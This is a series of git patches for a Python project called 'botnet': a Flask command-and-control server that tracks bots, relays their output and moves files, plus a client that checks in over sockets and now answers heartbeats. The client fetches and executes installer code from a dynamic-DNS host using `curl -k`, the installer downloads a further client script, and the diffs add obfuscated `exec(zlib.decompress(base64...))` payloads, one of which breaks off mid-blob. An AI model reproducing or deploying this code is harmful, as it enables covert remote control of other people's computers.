iaK8V3/tegXEAY6N7iGo8Xt6N+58Dp0uZVDiOHSsia1R8LCGTS5GxJZd7V4+Rjp5FrWsLpUAh5dpPPy3QKNcFSiHO0GT2p93Sch4Gx4HmTaG9mftk77Y03NodO6evvehIFfFMNVRH0yEguLDdIUK0Ai3QkyLJGA2xIi5I6RqBDFGJGFfonjMCTiFBVCYYusOxJBZS4qA3a50SAPU1rhcRmG3EdTK17n50Wi1P90Sqgck+JKk6c66mVyRgapSQVrp+Vl+/2Z4e0li5tdMtUK91YKC9tRDooZiHkGpUq6U2XNfl0tP/PbJPoRaZJMKFQwCoM6BDPyoALaRbO6vLhMokIBRmIj5XFS2DonRf9B9ud2ooHTO0JUxtu63vlbYD8wMr4FpCWRhTYK6h0/lCwu9Yy9KLt/VE6ExJ4ZenWh/PvwWmkqChKRRcB0dJScr2As1MBGgnqFKEIcWb1amnyZzNy34ERViiwn5hXqsR4JXZrNG/sJTnX1fzPRfeWVsJgl8MiWsiHXkZdYn/YQFb8DCgCq9iYqCBOBmLdI+9oXsBFVFRsQbWDCek4UDVFzsKYIYApfrfnDL3CNOpvyNaHXtntyAra5OAtadTS8xQaNvPzPhT7ep2MZOiaig0mgyF4MLw+yChjyIoW6Fu4rzlWRyZ0ptNKBnKGVd50OyZ2kTWoJGZrkuQBo1wzjRQpzZqz3fTEfRNM9Xq3weCJcAZGH/gcu67efo0OVCDysl6TP9R1MzxMZ+N59qJCRPU1vXmDeqNDE+SHxKj8AtUpLm+XCc2t1OoYkg6jlB3h5x2LY63PZc/+IqWywlRUnQOl+1/brMSsltClqQoYBu017cVvKhHbM1dXSRd4aB4Ynvw31Q8vzDKJ3QZXysInAEWO8oc7QIW4TZw4P6CKCvVBIfLV43wdLFoO6clVwurmgwG5J2htg1crnYFiQmWZuwVoWgnO/qoVa2CKihL9xiOIhHobjBfurcC/d63IKwYKKRbCovNa+vmEryoDpTbT5eL95pXhaYBqzSvjKb2AHoUHnFS89TVaXF0es89DLS5TonWsop0FJWEqQYzLNUioifXP8SBTEw='))) # Created by pyminifier (https://github.com/liftoff/pyminifier) From a7c0668d73e42e964b6d915709189b8d5ce64f4b Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Fri, 2 Feb 2018 22:34:42 -0800 Subject: [PATCH 3/9] Fixed for local nginx --- server/client/client.py | 5 +++-- server/client/install.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/server/client/client.py b/server/client/client.py index db7cfde..3bf1ad0 100644 --- a/server/client/client.py +++ b/server/client/client.py @@ -21,7 +21,8 @@ __version__ = "1.2.1" -HOST = 'renmusxd.ddns.net' +# HOST = 'renmusxd.ddns.net' +HOST = 'potatos.local' PORT = 1708 HOSTINFOFILE = '.host' IDFILE = '.id' @@ -620,7 +621,7 @@ def hasInternetConnection(): if __name__ == "__main__": if "-install" in sys.argv: # Legacy - os.system('python -c "$(curl -k https://{}/static/install.py)"'.format(HOST)) + os.system('python -c "$(curl -k https://{}/client/install.py)"'.format(HOST)) else: hostaddr = HOST hostport = PORT diff --git a/server/client/install.py b/server/client/install.py index 17c78c4..c15d69a 100644 --- a/server/client/install.py +++ b/server/client/install.py @@ -76,7 +76,7 @@ def install_and_run_osx(host, port): script_path = os.path.expanduser(loc) if not os.path.exists(script_path): try: - curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+HOST+'/static/minclient.py'], stdout=subprocess.PIPE) + curlproc = subprocess.Popen(["curl", "-k", "-o", script_path, "https://"+HOST+'/client/minclient.py'], stdout=subprocess.PIPE) (out, err) = curlproc.communicate() if err is not None: print(err) From 1ad8eab8a7c1aaff4b7830f1689373d85af05f02 Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Fri, 2 Feb 2018 23:48:22 -0800 Subject: [PATCH 4/9] heartbeat system --- server/botnetclasses.py | 46 +++++++++++++++++++++++++++++++++++++++++ server/client/client.py | 12 +++++++++-- server/formatsock.py | 10 +++++++++ server/server.py | 2 +- 4 files changed, 67 insertions(+), 3 deletions(-) diff --git a/server/botnetclasses.py b/server/botnetclasses.py index 15d6c4d..652597c 100644 --- a/server/botnetclasses.py +++ b/server/botnetclasses.py @@ -11,10 +11,12 @@ import time import uuid import urllib.request +import socket class BotNet(Thread): INPUT_TIMEOUT = 1 + BOTCHECK_TIMEOUT = 10 PRINTOUT_JSON = 'printout' ERROUT_JSON = 'errout' STDOUT_JSON = 'stdout' @@ -164,12 +166,18 @@ def run(self): ''' Parse information coming from bots, loops ''' + last_botcheck = time.time() + seen_dict = {} + sent_heartbeat = False while True: with self.connlock: bots = list(self.onlineConnections.values()) while len(bots) == 0: self.conncon.wait() bots = list(self.onlineConnections.values()) + for bot in bots: + if bot not in seen_dict: + seen_dict[bot] = False with self.app.app_context(): # Waiting for bot input, rescan for new bots every INPUT_TIMEOUT # TODO maybe use pipe as interrupt instead of timeout? @@ -180,6 +188,7 @@ def run(self): try: msg = bot.recv() jsonobj = json.loads(msg.decode('UTF-8')) + print(jsonobj) printout = "" errout = "" out = "" @@ -248,10 +257,29 @@ def run(self): for filename in fileclose: self.filemanager.closeFile(user, filename) + seen_dict[bot] = True + except IOError as e: # Connection was interrupted, set to offline print(e) self.setOffline(user) + except Exception as e: + print(e) + + # Send heartbeats to all bots. If not response within a few loops then offline them. + if self.BOTCHECK_TIMEOUT/2 < (time.time() - last_botcheck) and not sent_heartbeat: + for bot in bots: + bot.heartbeat() + sent_heartbeat = True + + if self.BOTCHECK_TIMEOUT < (time.time() - last_botcheck): + # Check all bots for connectivity + for bot in bots: + if not seen_dict[bot]: + self.setOffline(bot.user) + last_botcheck = time.time() + seen_dict = {b: False for b in bots if b.online} + sent_heartbeat = False def getLog(self, user): ''' @@ -459,6 +487,8 @@ class Bot: FILE_DOWNLOAD = 'down' LS_JSON = 'ls' ASSIGN_ID = 'assign' + HEARTBEAT = 'heartbeat' + HEARTBEAT_TIMEOUT = 3 def __init__(self, sock, host_info, socketio, lastonline=int(time.time()), online=True): self.sock = formatsock.FormatSocket(sock) @@ -665,6 +695,22 @@ def requestLs(self, filename): else: self.opqueue.append((self.requestLs, (filename,))) + def heartbeat(self): + with self.datalock: + if self.online: + json_str = json.dumps({Bot.HEARTBEAT: True}) + old_timeout = self.sock.gettimeout() + self.sock.settimeout(Bot.HEARTBEAT_TIMEOUT) + try: + self.sock.send(json_str) + return True + except socket.timeout as e: + return False + finally: + self.sock.settimeout(old_timeout) + else: + return False + class BotLog: STDOUT = 0 diff --git a/server/client/client.py b/server/client/client.py index 3bf1ad0..d8d9231 100644 --- a/server/client/client.py +++ b/server/client/client.py @@ -22,7 +22,9 @@ __version__ = "1.2.1" # HOST = 'renmusxd.ddns.net' -HOST = 'potatos.local' +# HOST = 'potatos.local' +HOST = 'localhost' + PORT = 1708 HOSTINFOFILE = '.host' IDFILE = '.id' @@ -44,6 +46,7 @@ FILE_FILENAME = 'fname' CLIENT_STREAM = 'cstream' CLIENT_CLOSE = 'cclose' +HEARTBEAT = 'heartbeat' PRINT_BUFFER = StringIO() @@ -242,12 +245,14 @@ def closeFile(self, filename): if filename not in self.fileclose: self.fileclose.append(filename) - def getAndClear(self, bytesize=4096): + def getAndClear(self, bytesize=None): """ Get items from data buffers up to bytesize total and clear :param bytesize: total number of bytes (approx x2) to be written :return: dataremaining (bool), datawritten (bool), writedict (dict) """ + if bytesize is None: + bytesize = ByteLockBundler.PACKET_MAX_DAT specialremaining = False specs = {} with self.slock: @@ -464,6 +469,9 @@ def pollSock(): recvbytes = sock.format_recv() recvjson = json.loads(recvbytes.decode('UTF-8')) + if HEARTBEAT in recvjson: + bytelock.writeSpecial("heartbeat", b'\x01') + # Special LS command if LS_JSON in recvjson: filedict = {} diff --git a/server/formatsock.py b/server/formatsock.py index 4dba79c..3f0f8a1 100644 --- a/server/formatsock.py +++ b/server/formatsock.py @@ -12,6 +12,7 @@ def __init__(self, sock): self.lastbytes = b'' self.sendlock = threading.Lock() self.recvlock = threading.Lock() + self.datalock = threading.Lock() def send(self,msg): ''' @@ -86,3 +87,12 @@ def close(self): # Allowed to close while recv, not while sending with self.sendlock: return self.sock.close() + + def settimeout(self, timeout): + with self.sendlock: + with self.datalock: + self.sock.settimeout(timeout) + + def gettimeout(self): + with self.datalock: + return self.sock.gettimeout() diff --git a/server/server.py b/server/server.py index 92b665a..644471d 100644 --- a/server/server.py +++ b/server/server.py @@ -44,7 +44,7 @@ app.config['SECURITY_PASSWORD_SALT'] = 'secret' if DEBUG else os.environ['SECRET_SALT'] DB_LOC = 'test.db' -app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(BASEDIR, DB_LOC) +app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(BASEDIR, DB_LOC) socketio = SocketIO(app, async_mode=async_mode) db.init_app(app) From 9d63aa81e1d3d0b9460bd169701bae3ca5c33052 Mon Sep 17 00:00:00 2001 From: "sumnernh@gmail.com" Date: Fri, 2 Feb 2018 23:54:37 -0800 Subject: [PATCH 5/9] Fixed heartbeat hiccup --- server/botnetclasses.py | 3 +-- server/client/client.py | 3 +-- server/client/minclient.py | 2 +- server/client/mininstall.py | 2 +- 4 files changed, 4 insertions(+), 6 deletions(-) diff --git a/server/botnetclasses.py b/server/botnetclasses.py index 652597c..c9ce369 100644 --- a/server/botnetclasses.py +++ b/server/botnetclasses.py @@ -177,7 +177,7 @@ def run(self): bots = list(self.onlineConnections.values()) for bot in bots: if bot not in seen_dict: - seen_dict[bot] = False + seen_dict[bot] = True with self.app.app_context(): # Waiting for bot input, rescan for new bots every INPUT_TIMEOUT # TODO maybe use pipe as interrupt instead of timeout? @@ -188,7 +188,6 @@ def run(self): try: msg = bot.recv() jsonobj = json.loads(msg.decode('UTF-8')) - print(jsonobj) printout = "" errout = "" out = "" diff --git a/server/client/client.py b/server/client/client.py index d8d9231..a0d9dd6 100644 --- a/server/client/client.py +++ b/server/client/client.py @@ -21,9 +21,8 @@ __version__ = "1.2.1" -# HOST = 'renmusxd.ddns.net' +HOST = 'renmusxd.ddns.net' # HOST = 'potatos.local' -HOST = 'localhost' PORT = 1708 HOSTINFOFILE = '.host' diff --git a/server/client/minclient.py b/server/client/minclient.py index 1ad33a0..ab3b2e3 100644 --- a/server/client/minclient.py +++ b/server/client/minclient.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 import zlib, base64 -exec(zlib.decompress(base64.b64decode('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'))) +exec(zlib.decompress(base64.b64decode('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